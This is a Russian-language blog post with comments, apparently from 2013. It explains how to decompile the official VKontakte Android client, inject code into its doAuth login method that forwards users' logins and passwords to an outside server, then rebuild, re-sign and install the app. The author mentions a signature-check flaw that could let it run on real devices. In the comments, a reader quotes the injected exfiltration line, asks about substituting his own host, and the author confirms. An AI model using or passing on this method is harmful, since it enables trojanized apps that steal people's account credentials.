Print This Post Модифицируем официальное приложение VKontakte под Android

Пятница, 26. Июль 2013
Раздел: Java, Социальные сети, автор:

Решил немного покопаться в приложениях на Java и посмотреть возможности модификации при отсутствии оригинальных исходных кодов. В качестве объекта исследования был взят официальный клиент VKontakte под Android. Нашей целью будет модификация приложения таким образом, чтобы данные, отправляемые клиентом при авторизации, отправлялись также на сторонний сервер.
Для начала нам понадобятся следующие вещи: Android SDK (для тестирования приложения), apktool (для проведения необходимых манипуляций с apk-файлом), dex2jar (для преобразования dex файлов в jar-архивы и подписи результирующего apk тестовой подписью), JD-GUI (для декомпиляции кода и изучения его структуры).
Теперь нам необходимо где-то взять официальное приложение. Вариантов множество, например: можно воспользоваться расширением APK downloader для Google Chrome, можно взять с какого-нибудь форума, либо со своего Android-устройства.

Итак, мы получили APK-файл. Воспользуемся apktool, чтобы его распаковать. Для этого откроем консоль и выполним следующую команду:

Здесь и далее я предполагаю, что в текущей директории присутствует вызываемое приложение (в данном случае apktool), либо путь к директории с ним добавлен в переменную окружения PATH. Флаги s и r необходимы, чтобы утилита извлекла ресурсы и код приложения как есть, без каких-либо дополнительных преобразований.
После выполнения вышеуказанной команды у нас появилась директория со следующей структурой:

Файл classes.dex содержит интересующий нас код. Воспользуемся утилитой из набора dex2jar и преобразуем его в jar-файл. Для этого выполним в консоли:

Получившийся jar-файл открываем в JD-GUI.

jd-gui1

Ищем метод, отвечающий за процесс авторизации пользователя в ВКонтакте. Находим метод doAuth в классе Auth.

jd-gui2

Теперь нам необходимо как-то внедрить свой код в метод doAuth, который будет отсылать данные пользователя на сторонний сервер. Можно было бы заняться ручной правкой байткода, сгенерированного Java, но это затяжное и занудное занятие. Я решил воспользоваться библиотекой Javassist, которая позволяет производить необходимую модификацию байткода, но при этом писать внедряемый код на Java.
Напишем небольшую программу с использованием Javassist, которая добавит в начало метода doAuth дополнительный код, осуществляющий отправку данных.

Внедряемый код приведен в виде одной строки, что не очень удобно. Приведу его на всякий случай отдельно для удобства.

Скомпилируем вышеописанный код из консоли.

Прежде чем запускать получившуюся программу, распакуем Auth.class из jar-файла (который мы получили ранее из dex-файла) в директорию рядом с сохранением полных путей. Также в директории с программой должны присутствовать файлы javassist.jar и android.jar (из Android SDK). Всё, теперь можно запускать.

После успешного выполнения мы получили модифицированный Auth.class, в этом можно убедиться, открыв файл в JD-GUI.

jd-gui3

Заменим Auth.class в jar-файле с помощью любого архиватора. Воспользуемся d2j-jar2dex.bat и преобразуем jar-файл обратно в dex-файл.

Заменим classes.dex в директории, куда мы распаковывали apk-файл с помощью apktool, и создадим из директории новый apk-файл.

У получившегося файла отсутствует цифровая подпись. Исправим это с помощью d2j-apk-sign из набора dex2jar.

Настало время протестировать получвшийся файл. Для этого нам понадобится эмулятор из набора Android SDK или реальное устройство. В случае с эмулятором всё просто: настраиваем эмулятор, запускаем виртуальное устройство, выполняем в консоли adb install vk-signed.apk.

cmd

Запустим какой-нибудь сетевой снифер (я воспользовался Wireshark), запустим приложение ВКонтакте на эмуляторе и попробуем авторизоваться.

result

Снифер показывает, что данные авторизации были предварительно отправлены на тестовый адрес. Всё работает. Конечно, при использовании вышеописанного подхода в реальной обстановке, возникла бы проблема корректной цифровой подписи, но она решаема благодаря недавно опубликованной уязвимости, которая позволяет обойти проверку подписи на ряде устройств, которые ещё не получили обновление.

Фрагмент кода из статьи и оригинальный apk-файл ВКонтакте: скачать

 Обсудить на форуме


Получать обновления на почту:     

Комментариев: 70 к “Модифицируем официальное приложение VKontakte под Android”


  1. Andrew :

    Вооот! То, что надо, андроид. Пишите еще :)

    [Ответить]

  2. Ну вот, теперь будут пачками пропихивать друг-другу фейковые приложения)

    [Ответить]


  3. Andrew :

    А почему приложение так просто реверсируется? Разве они не накрываются каким-то ключами?

    [Ответить]

    Kaimi:

    Бывает какие-нибудь обфускаторы используются, но редко.

    [Ответить]


  4. zloid :

    Спасибо. Было бы интересно почитать цикл статей о таких вещах.

    Вопрос: у тебя какая винда? под х64 утилиты эти работают? а то у меня валятся.

    [Ответить]

    Kaimi:

    Под x64 всё работает

    [Ответить]


  5. DooD :

    по этому надо качать официальные приложения в гугл плэе.а так хорошо,все простецко;)хоть я не явист, но подмечаю что все что связано с явой как то "не безопасно" ))

    [Ответить]

    zloid:

    А что с чем должно быть связано, чтобы оно было как-то "безопасно"?

    [Ответить]


  6. Dolpher :

    Привет, скажите, а под андроид на С++ можно по человечески писать? Есть NDK, но там вроде как через костыль к джаве писать нужно(JNI). Нету ничего более удобного? Как на счет Qt для андроида?

    [Ответить]

    Kaimi:

    Не в курсе, но скорее всего все равно придется какие-то базовые вещи дергать через яву. В составе приложения контактовского есть бинарники для работы с видео вроде скомпилированные под ARM.

    [Ответить]


  7. user :

    Очень интересный материал. Пишите ещё, будем читать.
    Попутно возник вопрос, т.к. Android наращивает обороты есть желание получить знания в этой области. Kaimi, посоветуйте, пожалуйста, какую литературу следует прочитать и с чего начать, чтобы начать программирование и исследование программ под Android.
    Спасибо за статью!

    [Ответить]

    Kaimi:

    Не могу посоветовать, т.к. не занимаюсь разработкой под Android.

    [Ответить]

    flisk:

    ведроид не нужен

    [Ответить]


  8. hjigckjfdjut :

    а зачем нужен какой-то JAssit, если можно подправить код напрямую и заново собрать с помощью Android SDK?

    [Ответить]

    Kaimi:

    Потому что это на порядок проще, чем всё декомпилировать и пересобирать.

    [Ответить]


  9. Evgen :

    а как будет выглядеть внедряемый код не для андроида, а для jar приложений?

    [Ответить]

    Kaimi:

    В смысле? На андроиде фактически и используются jar-приложения.

    [Ответить]


  10. 4ndrew$ :

    вы используете javac, но в Android SDK его нет
    что можно скачать для быстрой компиляции, если нет желания качать jdk, весящее под 300 метров?

    [Ответить]

    Kaimi:

    Не знаю, на MacOS по-умолчанию есть javac вроде как.

    [Ответить]


  11. sasha :

    Декомпилированый код можна использовать в своем клиенте ,?

    [Ответить]

    Kaimi:

    Теоретически

    [Ответить]


  12. sasha :

    Если код немного переписать ,і исользовать в своём приложении в комерчиских целяцелях ,за ето можно нести уголовною ответствиность ,?

    [Ответить]

    Kaimi:

    Не знаю, надо законодательство нужной страны читать.

    [Ответить]

    sasha:

    Но кажись в разних клиентах которие я декомпилировал коды очень похожие ! І почему декомпилятор оф клиента декомпилит 70%кода ,а 30% класы присутствуют но кода внутри нет ? Можна както росковирять или не получится

    [Ответить]

    Kaimi:

    Без понятия


  13. Хозяин :

    Кайми давай пополняй блог, ненавижу тебя.

    [Ответить]


  14. deqw :

    Привет Kaimi, очень интересная статья, тольк я не силен в этом и пострял, можешь помочь?

    [Ответить]

    Kaimi:

    Чем и зачем?

    [Ответить]


  15. Ant :

    Не могу модифицировать приложение. Все получается и работает.

    Но если в внедряемом коде есть public void onClick, public boolean то не происходит внедрение.

    Не могу до конца разобраться с Javassist.

    Помоги если не сложно с примером внедряемого кода с использованием в нем public void onClick, public boolean

    [Ответить]

    Kaimi:

    А что происходит то при попытке?

    [Ответить]


  16. Ant :

    Exception in thread "main" javassist.CannotCompileException: [source error] ) is
    missing
    at javassist.CtBehavior.insertBefore(CtBehavior.java:774)
    at javassist.CtBehavior.insertBefore(CtBehavior.java:734)
    at Hook.addHook(Hook.java:28)
    at Hook.main(Hook.java:48)
    Caused by: compile error: ) is missing
    at javassist.compiler.Parser.parseArgumentList(Parser.java:1338)
    at javassist.compiler.Parser.parseMethodCall(Parser.java:1178)
    at javassist.compiler.Parser.parsePostfix(Parser.java:1035)

    Вот что происходит)

    [Ответить]

    Kaimi:

    Если я правильно понимаю, то в коде, который планируется внедрить, есть ошибка.

    [Ответить]


  17. Ada :

    Неполучается декомпилировать apk,apktool не являеться внутренней или внешной командой-пишет cmd
    Есть декомпилированый файл?

    [Ответить]

    Kaimi:

    Нет декомпилированый файл

    [Ответить]


  18. jfhdgs :

    а на какой сайт будет писылаться

    [Ответить]

    Kaimi:

    На тот, который указан в коде.

    [Ответить]


  19. Александр :

    Извините, а какой сайт вы прописали в коде?

    P.S. Я только учусь

    [Ответить]

    Kaimi:

    google.com

    [Ответить]


  20. Валентин :

    Здравствуйте! Возник вопрос, ссылку (\"http://google.com/?login=\" + $1 + \"&password=\" + $2 ));} надо заменять так: (\"http://sitename.com/364646.gif?login=\" + $1 + \"&password=\" + $2 ));}

    [Ответить]

    Kaimi:

    Да

    [Ответить]


Оставьте ваш комментарий